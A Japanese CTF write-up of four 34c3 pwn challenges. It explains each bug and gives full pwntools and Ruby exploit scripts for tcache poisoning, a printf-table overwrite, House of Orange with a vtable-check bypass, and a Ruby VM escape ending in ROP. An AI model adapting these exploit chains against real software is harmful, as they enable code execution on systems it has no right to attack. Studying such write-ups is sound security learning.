34c3 CTF Write up
この記事は CTF Advent Calendar 20日目になる予定だった記事です。
大遅刻すみません。
少し前に34c3 CTFの過去問を解いたのでそれのwrite upでも。
いや数日前にあった35c3 CTFじゃねーのかよと突っ込まれそうですが...12/20に去年の過去問を終わらせて気持ちよく35c3に出るつもりが、
OMG... My laptop has just broken!! What the hell... Tomorrow is 35c3 ctf 😱
— るくす (@RKX1209) December 27, 2018
研究でわけのわからない命令を発行しすぎてなぜかメモリバスエラーが頻出するようになりラップトップ崩壊、泣く泣く新しい物を購入して今に至ります。 タイミングが悪すぎる。
というわけで過去問解いたログだけでも供養しておきます。元々1,2問程度解くだけのつもりでしたがどうせ遅刻するならもっと解いておこうという事でpwnの4/5問文の雑なwrite up。 あと1問のpwndb reloadedは未だに1チームしか解けてないマゾゲーなので今は断念。V9は近いうちに解くつもり。
SimpleGC (107 pt)
概要
ユーザーとそのユーザーが所属するグループを管理するプログラム。
ユーザーを追加する際、所属するグループを指定する。該当グループが既に存在すればポインタを張る。
無ければ新たにグループを作成して同様にポインタを張る。
0: Add a user 1: Display a group 2: Display a user 3: Edit a group 4: Delete a user 5: Exit Action:
struct user{ int age; char *name; char *group_key; }; struct group{ char *group_key; int member; };
また別スレッドでGC(Garbage Collection)が動作しており、定期的にグループリストを走査、memberが0になったつまり誰も所属していないグループは削除するようになっている。
グループのmemberは所属するユーザーを4. DeleteUser()で削除した際にデクリメントされるようになっている。これはユーザーのgroup_keyに一致するグループ全てのmemberをデクリメントする。
3のEditGroup()でグループ名(group_key)を別名に変更できるが、文字列に対するバリデーションは特に無い。
これら2点を悪用すると、
それぞれ"group_A"と"group_B"に所属するユーザーAとBを作成。
A -> "group_A"
B -> "group_B"
EditGroup()で"group_B"を"group_A"という同じ名前に変更し、ユーザーAを削除すると
A -> "group_A" (member--)
B -> "group_A" (member--)
memberが0になりGCによって両方共グループがfreeされる。一方でユーザーBは削除されていないため
B -> "group_A" (freed)
と、ヒープに対するダングリングポインタが出来る。このユーザーBを使用すればUse After Freeが発生する。
残念ながらヒープ上にvtable等の関数ポインタが存在しないので、ヒープエクスプロイトテクニックを考えるのが良さそう。
Tcache Attack
今回はmallocのサイズが比較的小さいためチャンクは全てtcache + fastbinsで管理されている。
3のEditGroup()によってfree済みのチャンクgroup_keyを書き換える事でfreeチャンクのfdを書き換えできる。
fdを任意のアドレスに書き換えて、その後mallocを実行させていくと該当アドレスの領域を使ってくれる。これにより任意のアドレスにポインタを通してアクセス可能になる。
freeチャンクのfd書き換えはfastbinsの場合malloc(2)時にセキュリティチェックが走り、abortしてしまう。
ところがtcacheを使う場合はこの限りではない。 tcacheは7スロットしかチャンクをキャッシュできず足りなくなった場合は通常通りfastbinsを使用する。
tcacheが足りずfastbinsを使用し始めた状況をpwndbgで確認すると以下のようになる。
pwndbg> bins tcachebins 0x20 [ 5]: 0x1db85c0 —▸ 0x1db8540 —▸ 0x1db84c0 —▸ 0x1db8440 —▸ 0x1db83c0 ◂— ... fastbins 0x20: 0x1db8610 —▸ 0x1db85f0 —▸ 0x1db8590 —▸ 0x1db8570 —▸ 0x1db8510 ◂— ... 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
さて、この後mallocを発行してtcacheに空きが出来るとどうなるかと言うとfastbinsからtcacheに移動させて、次回のmallocに備えるようになる。
問題はこの移動の処理が発生した場合fastbinsのセキュリティチェックが走らない事だ。
3585 #if USE_TCACHE 3586 /* While we're here, if we see other chunks of the same size, 3587 stash them in the tcache. */ 3588 size_t tc_idx = csize2tidx (nb); 3589 if (tcache && tc_idx < mp_.tcache_bins) 3590 { 3591 mchunkptr tc_victim; 3592 3593 /* While bin not empty and tcache not full, copy chunks over. */ 3594 while (tcache->counts[tc_idx] < mp_.tcache_count 3595 && (pp = *fb) != NULL) 3596 { 3597 REMOVE_FB (fb, tc_victim, pp); 3598 if (tc_victim != 0) 3599 { 3600 tcache_put (tc_victim, tc_idx); 3601 } 3602 } 3603 } 3604 #endif
つまりチャンクのfdを改竄しても、fastbinsから直接取得するのではなくtcacheを一旦通せばすんなりmallocできてしまう。
ただし今回注意しなければならないのはスレッドがメイン(以下T1)とGC用(以下T2)の2つあり、arenaとtcacheが2つあるという事。
mallocするのはメインスレッド側でfreeするのはGC側なので、それぞれアクセスするtcacheが違う。
ダングリングポインタによって汚染するチャンクはT2のtcacheにあるため、T1側でmallocしても汚染チャンクを取得させる事ができない。
基本的には
"あるスレッドでmallocした領域を、別のスレッドでfreeしても該当チャンクはmallocした側のスレッドのfreeリストに繋がれる"が成り立つ。なぜならfreeされるアドレスとarenaのアドレスにはarena == (1M align of free addr)という関係が成り立つからだ。
つまりT1でmallocしたアドレスをどのスレッドでfreeした場合でも、arenaのアドレスはT1の物に計算される。
以下スライド(74p)参照
www.slideshare.net
しかしながらtcacheだけは上記の例外でT1でmallocしてもT2でfreeすればT2側のarenaのtcacheに保存される。
よってエクスプロイトは以下のような手順になる。
1. T2側でfreeを7回以上行ってtcacheを使い切る。
2. fastbinsに溢れたチャンクのfdをdangling pointerで改竄(fastbinsはT1とT2で共通)
3. T1側でmallocを数回行いtcacheを枯渇させ改ざんしたfastbinsをtcacheに載せる
これでT1上でfake chunkでmallocが可能となる。今回はこれをuser[0]のアドレスに改竄。
group_key = malloc()を実行させるとgroup_key == &user[0]となり、後はgroup_keyを通して
user[0]を改竄する。
pwndbg> x/10xg $users 0x6020e0: 0x0068732f6e69622f 0x00000000006020e0 <-- "/bin/sh\0" ; user[0] 0x6020f0: 0x0000000000602018 0x0000000000000000 <-- free@GOT
この後user[0]->group_keyをEditGroup()でsystemのアドレスに書き換えると、free@GOTがsystemのアドレスに書き換わる。
その後DeleteUser(0)でfree(user[0]->name)が実行されsystem("/bin/sh")でシェルが取れる。
ヒープのアドレスはfreeチャンクのfdをリークさせる事で計算できる。
libcのアドレスはfreeチャンクが1つのみの際、fdがarena内のメンバを指しているためこの値から計算できる。
Exploit
from pwn import * if len(sys.argv) <= 1: io = process('./sgc') else: # io = remote('', ) exit(0) def add_user(name, group, age): io.recvuntil("Action:") io.sendline("0") io.recvuntil("name:") io.sendline(name) io.recvuntil("group:") io.sendline(group) io.recvuntil("age:") io.sendline(str(age)) def disp_group(group): io.recvuntil("Action:") io.sendline("1") io.recvuntil("name:") io.sendline(group) def disp_user(idx): io.recvuntil("Action:") io.sendline("2") io.recvuntil("index:") io.sendline(str(idx)) return io.recvuntil("0:") def edit_group(idx, prop, group): io.recvuntil("Action:") io.sendline("3") io.recvuntil("index:") io.sendline(str(idx)) io.recvuntil("(y/n):") io.sendline(prop) io.recvuntil("name:") io.sendline(group) def del_user(idx): io.recvuntil("Action:") io.sendline("4") io.recvuntil("index:") io.sendline(str(idx)) user_ptr = 0x6020e0 free_got_ptr = 0x602018 # For filling 7 slots of tcache for i in range(4): add_user("dummy", str(i), 0) # Create 2 users which'll be placed in fastbins add_user("innocent", "normal", 0) add_user("exp", "expg", 0) # Same group name "expg" edit_group(4, "y", "expg") # Free all group (idx 5 dangling ptr) for i in range(5): del_user(i) sleep(1) raw_input() heap_base = u32(disp_user(5)[26:29].ljust(4,'\0'))-0x590 print "heap_base = " + hex(heap_base) edit_group(5, "y", p64(user_ptr-0x10)) # Same group name "expg" edit_group(5, "n", "pad1") edit_group(5, "n", "pad2") edit_group(5, "n", "pad3") # age name group payload = "/bin/sh\0" + p64(user_ptr) + p64(free_got_ptr) edit_group(5,"n",payload) libc_base = u64(disp_user(1)[30:36].ljust(8,'\0')) - 0x97950 system = libc_base+0x4f440 print "libc_base= " + hex(libc_base) print "system= " + hex(system) edit_group(1,"y",p64(system)) del_user(1) io.interactive() #raw_input()
readme_revenge (150 pt)
概要
static linkされたバイナリでグローバル変数のバッファに文字を入力(scanf)し出力(printf)するだけ。しかし入力文字数に制限を書けていないのでバッファオーバーフローする。
グローバル変数(0x006b73e0)より下に何があるか調査してみると、
$ nm --numeric-sort ./readme_revenge
00000000006b7978 B __libc_argc
00000000006b7980 B __libc_argv
00000000006b7988 B __gconv_modules_db
00000000006b7990 B __gconv_lock
00000000006b7998 B __gconv_alias_db
00000000006b79a0 B __gconv_path_envvar
00000000006b79a8 B __gconv_max_path_elem_len
00000000006b79b0 B __gconv_path_elem
00000000006b79c0 B _nl_locale_file_list
00000000006b7a28 B __printf_function_table
00000000006b7a30 B __printf_modifier_table
00000000006b7a38 B __tzname_cur_max
__libc_argvがあり、かつ既にバイナリ内にフラグが埋め込まれているためargv[0] leakでフラグは表示できそうだ。
$ strings -tx ./readme_revenge | grep 34C3 b4040 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
若干エスパー要素が強い気がするが、argv[0] leakの可能性を考慮する時は反射的にstrings -txしてみる癖とか付けておいたほうが良いのか。
さて、今回の難点は__libc_argvをフラグのアドレスに書き換えてもスタック破壊が起きないのでfortify_failが呼ばれない点だ。
しかしどうやら、printfの実装を調査すると一定条件下で__printf_arginfo_tableを実行してくれる処理があるらしい。
if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) {
if文の条件は__printf_function_table != NULLで__printf_arginfo_tableを調整すれば任意のアドレスをcallできる。
これでfortify_failを呼べば良い。
Exploit
from pwn import * import sys if len(sys.argv) <= 1: io = process('./readme_revenge') else: #io = remote('') exit(0) def pad(length): return "\x00" * length name_addr = 0x6b73e0 libc_argv = 0x6b7980 call_fortify = 0x43599b flag_addr = 0x6b4040 printf_func = 0x6b7a28 printf_arg = 0x6b7aa8 payload = p64(flag_addr) payload += pad(ord("s") * 8 - len(payload)) # %s offset payload += p64(call_fortify) payload += pad(libc_argv - name_addr - len(payload)) payload += p64(name_addr) # **_libc_argv payload += pad(printf_func - name_addr - len(payload)) payload += p64(0x1) #__printf_function_table payload += pad(printf_arg - name_addr - len(payload)) payload += p64(name_addr) # __printf_arginfo_table io.sendline(payload) io.interactive()
300 (264 pt)
概要
0x300バイト単位のスロットを確保/解放/読み書きできるプログラム。
1) alloc 2) write 3) print 4) free
slots[slot] = malloc(0x300); read(0, slotss[slot], 0x300); write(1, slots[slot], strlen(slot)); free(slots[slot]);
あるスロットに対してfreeした後read/writeが可能なのでUAF(Use After Free)が出来る。
House of Orange
libc2.24で動作するためtcacheはない。
0x300バイトのfreeチャンクはfastbinsではなくunsorted binsかsmall binsに繋がれる。
無論ヒープ上にvtableのような関数ポインタもなく、またSimpleGCの時のようにヒープ上のポインタ(key_slot)を通した読み書きもできない。
つまりこのバイナリ独自のロジックの中でPC制御やAAR/Wに応用できる要素はほぼ無い。
こういった状況で考えられるのはFile Stream Pointer Attackのように
glibcの持っている関数ポインタ(FILE vtalbe)を書き換える事でPCを制御する方法である。
ではAAWはどうするか。実はunsorted binに繋がれたfreeチャンクを利用するとunsorted bin attackによって任意のアドレスに対して限定的な値を書き込む事が出来る。
これはmalloc時、unsorted binからfreeチャンクを取得する場合にunlinkのセキュリティチェックが動かない事を利用したunlink attackで、
for (;; ) 3504 { 3505 int iters = 0; 3506 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) 3507 { 3508 bck = victim->bk; ... 3513 size = chunksize (victim); ... 3551 /* remove from unsorted list */ 3552 unsorted_chunks (av)->bk = bck; 3553 bck->fd = unsorted_chunks (av); 3554
unsorted bin上でfake chunkを作り、上記のbck->fdを任意のアドレスに設定すると
bck->fd = unsorted_chunks (av);
により、該当アドレスに対してunsorted_chunks (av)が代入される。
unsorted_chunks (av)は、チャンクが1つしか存在しない場合arena内のメンバのアドレスになる。
これを利用して__IO_list_allというglibc内のFILEポインタリストにunsorted_chunks (av)を設定し、
_IO_flush_all_lockpが呼ばれるタイミングで__IO_list_all->_chain(これはunsorted_chunks (av)+0x68 == smallbins[4]->bk)
にfakeのFILE構造体を設定、vtable->__overflowを改ざんする事で任意アドレス実行を促す事ができる。
いわゆるHouse of Orangeが使用できる。
Understanding the house of orange [study] | 1ce0ear
ただしこの問題はglibc2.24を使用しており、FILE streaming pointer attackの対策が施されている。これはvtableの関数ポインタが
正規の__libc_IO_vtablesセクション内にある関数のみを指しているかチェックする機能で、つまり従来のHouse of Orangeのように
vtable->overflowをsystem関数などの正規のセクション外のアドレスに書き換えるとabortしてしまうというものだ。
しかし実はセクション内の関数を利用してもHouse of Orangeを行う事もできる。例えば_IO_wstr_finishは__libc_IO_vtablesセクション内に
存在する正規の関数であるが、
325 void 326 _IO_wstr_finish (_IO_FILE *fp, int dummy) 327 { 328 if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF)) 329 (((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base);
fakeのFILE構造体から_free_bufferと_IO_buf_baseの値を設定すればsystem("/bin/sh")を呼ぶことができる。
つまりいきなりsystem関数を呼ぶのではなく、一旦正規の関数への呼び出しを挟む事でvtableチェックはバイパスできる。
Exploit
from pwn import * import sys #stack 0x5c DEBUG=0 if len(sys.argv) <= 1: io = process('./300') SYSTEM = 0x45390 IO_LIST_ALL = 0x3c5520 IO_WSTR_FINISH = 0x3c3030 if DEBUG == 1: gdb.attach(io, 'b *main\n') else: # io = remote('', ) pass def alloc(idx): io.sendafter("4) free\n", "1") io.recvline() io.sendline(str(idx)) def free(idx): io.sendafter("4) free\n", "4") io.recvline() io.sendline(str(idx)) def write(idx, val): io.sendafter("4) free\n", "2") io.recvline() io.sendline(str(idx)) io.send(val) def read(idx): io.sendafter("4) free\n", "3") io.recvline() io.sendline(str(idx)) return io.recvline() alloc(0) alloc(1) alloc(2) alloc(3) alloc(4) free(1) libc_fwdptr = u64(read(1).split('\n')[0].ljust(8, '\x00')) libc_base = libc_fwdptr - 0x3c4b78 system = libc_base + SYSTEM io_list_all = libc_base + IO_LIST_ALL io_wstr_finish = libc_base + IO_WSTR_FINISH print "libc_base=" + hex(libc_base) print "IO_wstr_finish=" + hex(io_wstr_finish) free(3) fake_chunk = u64(read(3).split('\n')[0].ljust(8, '\x00')) print "fake_chunk=" + hex(fake_chunk) free(0) free(2) free(4) alloc(0) alloc(1) # fake_chunk(1) free(0) write(0, fit({8:p64(fake_chunk+0x10)})) # fake_chunk(1) <- 0 alloc(3) # fake_chunk(1) (Remove 0) write(1, fit({ 0:'/bin/sh\x00', 8:p64(0x61), 24:p64(fake_chunk + 0x30), ## fake chunk 0x310 size 40:p64(0x311), ## fake chunk 0x310 bk -> hijacks _IO_list_all 56:p64(io_list_all - 0x10), ## satisfy _IO_flush_all_lockp conditions on 2nd iteration 32:p64(0), # fp->_chain->_mode 192:p64(0), # fp->_chain->_IO_write_base ## make it jump to _IO_wstr_finish 216:p64(io_wstr_finish-0x18), # fp->_chain->vtable ## fake _wide_data 128: p64(fake_chunk + 0x98), 176: p64(fake_chunk + 0x10), # _wide_data->_IO_buf_base "/bin/sh" ## satisfy condition of _IO_wstr_finish 160:p64(fake_chunk + 0x90), # fp->_chain->_wide_data 232:p64(system),})) alloc(3) raw_input() io.sendafter("4) free\n", "5") io.recvline() io.sendline("999") io.interactive()
LFA (400 pt)
概要
Rubyのコードを送ると実行してくれるサーバーがある。
しかしRubyのVMにはseccompによるsandboxを実装した独自パッチが適用されており、Ruby上でflagを読み込んだりコマンドを実行する事は不可能になっている。
つまりRubyのVM escapeを行ってフラグを読み出せという物。
サーバー上のRubyではCエクステンションによって実装されたLFAという可変長配列が使えるがこのCエクステンションの脆弱性を利用してVM escapeする。
CエクステンションであるLFA.soをリバーシングすると、例えば以下のようなRubyのコードが実行されると
require 'LFA' $arr = LFA.new $arr[0] = 11 $arr[4] = 11 $arr[15000] = 11
LFAは内部でmallocのbinsのようなデータ構造を2つ生成してリンクする。
bins[0] -> bins[15000]
各binsは決められた数のチャンクを持っておりbins->start_idxから始まる一定個数の要素を格納している。
例えばarr[4]はbins[0]のチャンク内に格納されているが、arr[15000]はbins[0]には入り切らないため、
新たにstart_idx = 15000のbinsを生成しそこに格納する。
つまりなるべく近い添字の要素をひとまとめにして、離散的に管理している。
さて、問題の脆弱性はarr.removeを実行した時に発生する。LFAは要素数が1チャンク以下になった時、キャッシュ用に確保しておいた固定長の配列内にチャンクを移して
リストで管理する事をやめる。この処理が発生した時のみ、LFAの要素数を表すメンバを更新していないという脆弱性である。
つまり
require 'LFA' $ooa_size=0x8000000 $arr[$ooa_size] = 0xdead $arr.remove $ooa_size puts $arr[0x7000000] #OOR $arr[0x7000000]=0xbeef #OOW
一旦$arr[$ooa_size]でサイズを$ooa_sizeにした状態で残り1チャンクを削除すると、
サイズは変わらず、実際はキャッシュ用の固定長配列にアクセスしようとする。
このキャッシュ配列へのアクセスは$ooa_sizeまで行えるためOOR/Wが発生する。
Heap Fengshui
さて、Ruby上で巨大なヒープに対するOOR/Wが行えるとなれば次はどうするか。
この手のヒープが自由に読み書きできるエクスプロイトではHeap Fengshuiというテクニックが利用しやすい。
1年ほど前のプレゼン資料参照。
speakerdeck.com
StringやArrayといった内部的にポインタを持っているデータ構造をヒープ上に確保して、内部ポインタを書き換える事で
任意のアドレスに読み書きが行えるようになるというもの。
今回はRubyのString(内部的にはRString)とArray(RArray)を悪用する。
struct RBasic { VALUE flags; const VALUE klass; } struct RString { struct RBasic basic; union { struct { long len; char *ptr; union { long capa; VALUE shared; } aux; } heap; char ary[RSTRING_EMBED_LEN_MAX + 1]; } as; }; struct RArray { struct RBasic basic; union { struct { long len; union { long capa; VALUE shared; } aux; const VALUE *ptr; } heap; const VALUE ary[RARRAY_EMBED_LEN_MAX]; } as; };
エクスプロイトの手順は
1. RString/RArrayをヒープ上に大量に確保(スプレー)
2. LFA.arrを使ってヒープ上を検索しRString/RArrayをそれぞれ1つずつ探し出す(検索のシグネチャにはRBasic.flags, .lenの値を使用)
3. RString.ptrを書き換えStringとして読み込むことでAAR
4. RArray.ptrを書き換えArray[0]に書き込むことでAAW
5. LFA.arr(RTypedData)のtypeの値をリーク(これはLFA.so内のグローバル変数を参照)
6. リークさせたグローバル変数のアドレスからLFA.so内の__cxa_finalizeのGOTアドレスを計算
7. GOTのアドレスからlibcのベースアドレスを計算 (5. ~ 7. は ASLR+PIE bypassに必要)
8. glibc.__libc_argvから&argv[0]の値をリーク、main関数のret addrを載せているスタックのアドレスを計算
9. main関数からROPでflagを読み込む (ROPを行う理由はFull RELRO bypassのため)
struct RTypedData { struct RBasic basic; const rb_data_type_t *type; VALUE typed_flag; /* 1 or not */ void *data; };
Exploit
require 'LFA' GC.disable $CXA_FINALIZE = 0x43520 $LIBC_ARGV = 0x3f04c0 $ooa_size=0x8000000 $heap_str_idx = 0 $heap_arr_idx = 0 $ooa_str = 0 $ooa_array = 0 $old_str_ptr_l = 0 $old_str_ptr_h = 0 $old_array_ptr_l = 0 $old_array_ptr_h = 0 $arr = LFA.new $arr_addr = $arr.__id__ * 2 $arr[$ooa_size] = 0xdead $arr.remove $ooa_size $shui = Array.new(0x1000) def AARead(addr) $low = addr & 0xffffffff if ($low & 0x80000000) != 0 $low = -((1<<32) - $low) end # RString->ptr $arr[$heap_str_idx + 6] = $low $arr[$heap_str_idx + 7] = (addr >> 32) & 0xffffffff val = $ooa_str[0, 8].unpack("Q*")[0] $arr[$heap_str_idx + 6] = $old_str_ptr_l $arr[$heap_str_idx + 7] = $old_str_ptr_h return val end def AAWrite(addr, val) val = (val - 1) / 2 # RArray []= method $low = addr & 0xffffffff if ($low & 0x80000000) != 0 $low = -((1<<32) - $low) end # RString->ptr $arr[$heap_arr_idx + 8] = $low $arr[$heap_arr_idx + 9] = (addr >> 32) & 0xffffffff $ooa_array[0] = val $arr[$heap_str_idx + 8] = $old_array_ptr_l $arr[$heap_str_idx + 9] = $old_array_ptr_h end i = 0 while i < $shui.length do $shui[i] = String.new('A' * 0x50) $shui[i + 1] = Array.new(0x50) i += 2 end i = 0 # Search Rstring while i < $ooa_size do if $arr[i] == 0x506005 and $arr[i + 1] == 0 and $arr[i + 4] == 0x50 and $arr[i + 5] == 0x0 $arr[i + 4] = 0x80 $heap_str_idx = i puts 'RString offset = ' + $heap_str_idx.to_s() $old_str_ptr_l = $arr[i + 6] $old_str_ptr_h = $arr[i + 7] break end i += 1 end i = 0 while i < $shui.length do if $shui[i].length == 0x80 $ooa_str = $shui[i] break end i += 1 end # Search RArray while i < $ooa_size do if $arr[i] == 0x7 and $arr[i + 1] == 0 and $arr[i + 4] == 0x50 and $arr[i + 5] == 0x0 $arr[i + 4] = 0x90 $heap_arr_idx = i puts 'RArray offset = ' + $heap_arr_idx.to_s() $old_array_ptr_l = $arr[i + 8] $old_array_ptr_h = $arr[i + 9] break end i += 1 end i = 0 while i < $shui.length do if $shui[i].length == 0x90 $ooa_array = $shui[i] break end i += 1 end puts "arr addr = 0x" + $arr_addr.to_s(16) $ooa_array_addr = $ooa_array.__id__ * 2 puts "ooa_array_addr: 0x" + $ooa_array_addr.to_s(16) # LFA(RTypedObject)->type $lfa_type_addr = AARead($arr_addr + 0x10) # GOT of __cxa_finalize $libc_finalize_addr = AARead($lfa_type_addr + 0x238) $libc_base = $libc_finalize_addr - $CXA_FINALIZE $libc_argv = $libc_base + $LIBC_ARGV puts '__cxa_finalize: 0x' + $libc_finalize_addr.to_s(16) puts 'libc base: 0x' + $libc_base.to_s(16) puts 'libc_argv[addr]: 0x' + $libc_argv.to_s(16) # Stack address (main ret) $argv0_stack = AARead($libc_argv) $main_ret = $argv0_stack - 0xe0 puts 'main_ret: 0x' + $main_ret.to_s(16) # Do ROP pop_rax = $libc_base + 0x439c7 xor_rax = $libc_base + 0xb17c5 pop_rdi = $libc_base + 0x2155f pop_rsi = $libc_base + 0x2ffa7 pop_rdx_rbx = $libc_base + 0x16643b syscall_ret = $libc_base + 0xd2975 rop = [xor_rax, pop_rdi, 1023, pop_rsi, $main_ret, pop_rdx_rbx, 0x21, 0xdead, syscall_ret] # # read(1023, buf,0x20) rop += [pop_rax, 1, pop_rdi, 1, pop_rsi, $main_ret, pop_rdx_rbx, 0x21, 0xdead, syscall_ret] # write(1, buf,0x20) i = 0 while i < rop.length do AAWrite($main_ret + i * 8, rop[i]) i += 1 end #gets
おわりに
急いで書いたので雑な説明かも。